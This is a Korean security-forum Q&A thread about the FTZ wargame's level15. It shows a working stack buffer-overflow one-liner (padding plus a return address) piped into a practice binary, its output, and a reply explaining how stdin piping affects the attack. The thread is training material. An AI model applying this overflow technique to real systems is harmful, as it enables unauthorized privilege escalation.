시스템 해킹

 1576, 1/79 회원가입  로그인  
   ka0r1
   이 두개의 명령어의 차이점이 뭔가요?

http://www.hackerschool.org/HS_Boards/zboard.php?AllArticle=true&no=1907 [복사]


[level15@ftz level15]$ (python -c 'print "A"*40+"\xb2\x84\x04\x08"';cat) | ./attackme
my-pass

Level16 Password is "xxxxxxxxxxxxxxxxxxxxxxxxx".


[4]+  Stopped                 ( python -c 'print "A"*40+"\xb2\x84\x04\x08"'; cat ) | ./attackme
[level15@ftz level15]$ ./attackme | (python -c 'print "A"*40+"\xb2\x84\x04\x08"';cat)
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA²„
my-pass
[level15@ftz level15]$












attack이 앞에 있을 땐 level16권한을 취득 못하고
attack이 뒤에 있을 땐 level16권한을 취득합니다.

  Hit : 2963     Date : 2017/12/20 01:09



    
gihacker 15번 문제 소스를 보시면

fgets(buf, 45, stdin);

stdin 으로 buf 변수에 45바이트를 입력받고 있네요

그래서 attackme 의 인자로 페이로드를 전달해봐야 buf에는 아무것도 전달되지 않습니다

만약에 attackme 의 첫번째 인자로부터 buf 에 값을 입력한다면 해킹이 되지만 지금 문제는

stdin 을 사용하여 입력을 받기때문에 안되는거에요
2017/12/20  
ka0r1 gilhacker // 답변 감사합니다. 2017/12/22